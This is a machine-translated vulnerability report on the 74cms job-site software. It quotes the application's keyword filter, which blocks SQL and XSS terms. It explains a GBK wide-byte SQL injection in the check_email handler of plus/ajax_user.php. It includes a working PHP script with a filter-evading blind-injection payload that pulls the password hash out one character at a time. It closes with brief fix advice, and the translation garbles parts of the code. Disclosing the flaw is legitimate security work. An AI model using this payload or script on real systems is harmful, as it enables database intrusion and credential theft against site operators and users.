74cms (20140709) 9 injection pack

74cms (20140709) 9 injection pack

Instead of modifying the vulnerability code, you can modify the filter function, although you cannot bypass this filter function.

However, the filter is not perfect and data can be generated.

We recommend that you modify the vulnerability Code while modifying the filter function.

Detailed description:

Filter Functions

function remove_xss($string) { 
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
  
    $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

    $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

$parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','update','insert','delete','create','alter','drop','truncate');

    $parm = array_merge($parm1, $parm2, $parm3); 

for ($i = 0; $i < sizeof($parm); $i++) { 
$pattern = '/'; 
for ($j = 0; $j < strlen($parm[$i]); $j++) { 
if ($j > 0) { 
$pattern .= '('; 
$pattern .= '(&#[x|X]0([9][a][b]);?)?'; 
$pattern .= '|(&#0([9][10][13]);?)?'; 
$pattern .= ')?'; 
}
$pattern .= $parm[$i][$j]; 
}

$pattern .= '/i';
$string = preg_replace($pattern, '****', $string); 
}
return $string;
}

I have enabled the I mode and replace is *** before the replace is null, it can be bypassed. Now I can't help it.



Then try to bypass these keywords. You can see that common keywords such as union select are filtered.





WooYun: 74cms latest injection 1-3



WooYun: 74cms latest injection 4-7



WooYun: 74cms latest injection 8-9



Here, I injected 9 pieces of data to 0709. None of them changed the filter function.



The nine parts are the same. Here I just choose one.





In plus/ajax_user.php

elseif($act == 'check_email')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$email=trim($_POST['email']);
if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
{
$email=iconv("utf-8",QISHI_DBCHARSET,$email);
}
$user=get_user_inemail($email);
 empty($user)?exit("true"):exit("false");
}

We have made it clear before transcoding.



Convert from UTF-8 to gbk as % e5 % 5c



Escape the single quotation mark to \ '\ % 5C



Two % 5C % 5C are enclosed in single quotes again, resulting in injection.



The keyword is filtered but can be bypassed.



Use substr

If the data is correct, false is returned. If the data is correct, the data is queried.

Here, if you check whether repeated queries are made, the system returns false if repeated queries are made.



Here I wrote a small script myself.



--I am not using php for a long time.

Proof of vulnerability:

<? Php


$ Yu = 1;
For ($ I = 0; I I <120; $ I ++ ){

$ Lenth = strlen ($ result );

If ($ lenth = 32 ){

Echo "\ r \ n ";
Echo "OK The password is: $ result ";
Exit;

};

$ Content = "email = x % E9 % 8C % A6 'or if (ascii (substr (left (password, $ yu), $ yu, 1) = $ I, 1, null) % 23 ";
$ Url = 'HTTP: // web.com/web/74cms/plus/ajax_user.php? Act = check_email '; // XML address for receiving
$ Header = "Content-type: text/xml ";
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_URL, $ url );
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
// Curl_setopt ($ ch, CURLOPT_HTTPHEADER, $ header );
Curl_setopt ($ ch, CURLOPT_POST, 1 );
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ content );
$ Response = curl_exec ($ ch );
If (curl_errno ($ ch )){
Print curl_error ($ ch );
}
Curl_close ($ ch );


If (eregi ('false', $ response )){

Echo chr ($ I );
$ Result. = chr ($ I );
$ Lenth = strlen ($ result );
$ Yu = ++ $ yu;
$ I = 0;
}
}
?>

$ Content = "email = x % E9 % 8C % A6 'or if (ascii (substr (left (password, $ yu), $ yu, 1) = $ I, 1, null) % 23 ";



It seems that this statement does not contain any filtered keywords, so it can be successful.

Solution:

While continuing to improve the filtering function, we also changed the nine conversion encoding points.



Modify the vulnerability Code while modifying the filter function.